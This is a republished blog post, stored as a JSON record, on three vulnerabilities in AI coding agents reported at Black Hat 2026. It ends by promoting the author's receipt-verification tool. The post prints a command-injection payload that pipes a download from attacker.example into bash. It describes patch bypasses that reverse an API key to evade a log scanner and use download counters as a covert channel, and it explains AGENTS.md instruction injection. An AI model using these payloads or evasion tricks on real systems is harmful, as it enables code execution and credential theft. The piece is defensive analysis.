{"slug": "three-ai-coding-agents-three-ways-to-break-them-and-one-thing-detection-will-you", "title": "Three AI Coding Agents, Three Ways to Break Them, and One Thing Detection Will Never Give You", "summary": "Novee Security's Black Hat USA 2026 briefing revealed three distinct vulnerabilities in popular AI coding agents, including Claude Code, Gemini CLI, and OpenAI's Codex. The flaws allow command injection, arbitrary file reads, and credential exfiltration, with one critical issue scoring a perfect 10.0 CVSS. Researchers emphasize that detection alone cannot prevent these attacks, as they exploit architectural gaps in how agents validate commands.", "body_md": "I've spent the last week reading through the technical writeups from Novee Security's Black Hat USA 2026 briefing, \"Trusted Enough to Run: Breaking AI Agents in Official Workflows.\" The title sounds broad. The content is not. They found three distinct, exploitable vulnerabilities in three of the most widely used AI coding agents — each in the agent's own repository, each triggered by code the agent itself was asked to review.\n\nThe details matter, because they reveal a pattern that detection alone cannot solve.\n\nCVE-2026-54316. CVSS v4 score 6.0. Affects Claude Code versions >=0.2.54 and <2.1.163.\n\nThe command validator ran 23 security checks on every command before allowing execution. But before any of those checks ran, a preprocessing step stripped single-quoted text from the command string. The idea was presumably to normalize whitespace or remove literal arguments. The effect was that anything inside single quotes was invisible to every single security check.\n\nThe payload was straightforward:\n\n```\ngit push --receive-pack='$(curl -s https://attacker.example/payload | bash)' origin main\n```\n\nThe validator saw `git push origin main`\n\n. The shell saw something else entirely.\n\nAnthropic patched it. Then Novee found two bypasses against the patch.\n\nFirst bypass: use `tac`\n\nto read arbitrary files (the reverse of `cat`\n\n, which was still blocked), then exfiltrate the contents through a public GitHub Actions log. They reversed an API key so the log scanner wouldn't flag it on write, then reversed it back after reading the log.\n\nSecond bypass: use HuggingFace's public download counter as a covert channel. Each model download increments a counter visible to the repository owner. Encode data into the number of downloads triggered by the agent, read the counter from a separate request. No exfiltration channel, no DNS, no HTTP callback — just a public number going up.\n\nBoth bypasses worked because the patch fixed the single-quote strip but did not change the fundamental architecture: the validator saw a sanitized representation of the command, not the command that would actually execute.\n\nCVE-2026-12537. CVSS v3.1 score 10.0. That's the maximum — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. GHSA-wpqr-6v78-jr5g.\n\nGemini CLI had 106,000+ stars and roughly 2 million monthly installs at the time of disclosure.\n\nIn headless CI mode, Gemini CLI automatically loaded `.gemini/.env`\n\nfrom the repository and trusted its contents. This happened before the sandbox started. A malicious `.gemini/.env`\n\nfile could set environment variables that controlled the agent's behavior, including injecting API endpoints and credentials, before any security boundary was established.\n\nThat alone would be bad. But there was a second issue: the `--yolo`\n\nflag, which skips confirmation prompts, parsed an allowlist of commands that were permitted without approval. The allowlist was parsed. It was never enforced. Any command in the allowlist was treated as pre-approved, but so was any command that looked enough like an allowlisted command to survive the comparison.\n\nAnd in the sandboxed environment, the agent could read `/proc`\n\nto access the parent process's environment — including secrets that were never meant to be visible to the code being reviewed.\n\nGoogle classified this as a \"supply chain compromise.\" The fix landed in versions 0.39.1 and 0.40.0-preview.3 of Gemini CLI, and version 0.1.22 of run-gemini-cli. Dan Lisichkin of Pillar Security was a co-discoverer.\n\nNo CVE here. No CVSS score. But the vulnerability is in some ways the most revealing.\n\nCodex operates in two steps in CI. The first step checks out the repository and runs the agent. The second step also checks out the same repository and runs the agent. They share the working directory.\n\nThe first step writes `AGENTS.md`\n\nto the repository. OpenAI's own documentation classifies `AGENTS.md`\n\nas untrusted input — it's a file from the repository, potentially controlled by an attacker. But the second step loads `AGENTS.md`\n\nas instructions. The agent trusts the file because it exists on disk, as if it had been there before the job started.\n\nThe fix took three days: isolate the jobs so they no longer share a checkout. But the multi-pass pattern — first agent writes configuration, second agent reads it — has been widely copied across the ecosystem. Novee found the same vulnerable default patterns in over 100 public repositories.\n\nElad Meged of Novee Security put it precisely: \"The harness is the code between the model and the real world.\"\n\nEach of these vulnerabilities is a failure at a trust handoff:\n\n`.gemini/.env`\n\nin a checked-out repository was safe to load before sandboxing. It was not.`AGENTS.md`\n\non disk was the same `AGENTS.md`\n\nthat was there when the job started. It was not.In every case, detection could tell you that something might go wrong. A log might show a `git push`\n\ncommand. A monitor might flag an unexpected environment variable. An audit trail might record that `AGENTS.md`\n\nwas modified.\n\nBut detection cannot tell you what actually happened after the trust boundary was crossed. It cannot prove that the validator's sanitized view diverged from the shell's parsed view. It cannot prove which `.env`\n\nvalues were loaded before the sandbox started. It cannot prove that the `AGENTS.md`\n\nread by the second step was written by the first step in the same job.\n\nLogs can be tampered with. Timestamps can be spoofed. A process that can execute arbitrary code can rewrite its own audit trail.\n\nWhat you need is cryptographic evidence: a chain of signed receipts where each receipt records exactly what crossed a trust boundary, what the boundary was, and what the receiving side did with it.\n\nWhen Claude Code's validator inspects a command, it should produce a signed receipt containing the exact bytes it evaluated and the set of checks that passed. The shell executor should produce a signed receipt containing the exact bytes it received and parsed. If those two receipts do not match — if the validator saw `git push origin main`\n\nand the shell saw a command substitution — the discrepancy is provable, not just detectable.\n\nWhen Gemini CLI loads `.gemini/.env`\n\n, it should produce a signed receipt containing the file hash, the source (checked-out repository vs. pre-existing), and whether the sandbox was active at load time. A receipt that says \"loaded before sandbox, file hash X\" is evidence. A log line that says \"loaded .env\" is not.\n\nWhen Codex's second step reads `AGENTS.md`\n\n, it should verify a signed receipt from the first step recording that it wrote the file, when, and from what source. No receipt, no trust.\n\nThis is not a new idea. It's the same principle behind TLS certificate chains, signed git commits, and transparency logs. But it has not been applied systematically to the trust boundaries inside AI agent harnesses.\n\nI've been working on `ccs-verifier`\n\n, a tool that verifies cryptographic receipt chains across trust boundaries in agent workflows. It's ELv2 licensed, has 157 tests, and installs with:\n\n```\npip install ccs-verifier\n```\n\nThe conformance vector suite — a set of test cases that define what a valid receipt chain must look like for common agent operations — is maintained at MIT and available at [github.com/DSHCorrectover/ccs-conformance-vectors](https://github.com/DSHCorrectover/ccs-conformance-vectors).\n\nThe Black Hat research makes the case better than I ever could. Three agents, three trust handoff failures, each in the agent's own repository. Detection tells you something might be broken. Cryptographic receipts tell you exactly what happened, when, and across which boundary — and they cannot be rewritten by the process they're auditing.\n\nIf you're running AI coding agents in CI, the question is not whether your logs will show the attack. The question is whether you can prove what your agent actually did — not what it was supposed to do, not what a sanitized validator thought it was doing, but what actually crossed the boundary between the model and the real world.\n\nThat question has a different answer depending on whether you have receipts.", "url": "https://wpnews.pro/news/three-ai-coding-agents-three-ways-to-break-them-and-one-thing-detection-will-you", "canonical_source": "https://dev.to/correctover/three-ai-coding-agents-three-ways-to-break-them-and-one-thing-detection-will-never-give-you-5b5j", "published_at": "2026-08-26 04:39:09+00:00", "updated_at": "2026-08-26 05:13:19.813624+00:00", "lang": "en", "topics": ["ai-safety", "ai-agents", "ai-policy"], "entities": ["Novee Security", "Black Hat USA 2026", "Claude Code", "Anthropic", "Gemini CLI", "Google", "OpenAI", "Codex"], "alternates": {"html": "https://wpnews.pro/news/three-ai-coding-agents-three-ways-to-break-them-and-one-thing-detection-will-you", "markdown": "https://wpnews.pro/news/three-ai-coding-agents-three-ways-to-break-them-and-one-thing-detection-will-you.md", "text": "https://wpnews.pro/news/three-ai-coding-agents-three-ways-to-break-them-and-one-thing-detection-will-you.txt", "jsonld": "https://wpnews.pro/news/three-ai-coding-agents-three-ways-to-break-them-and-one-thing-detection-will-you.jsonld"}}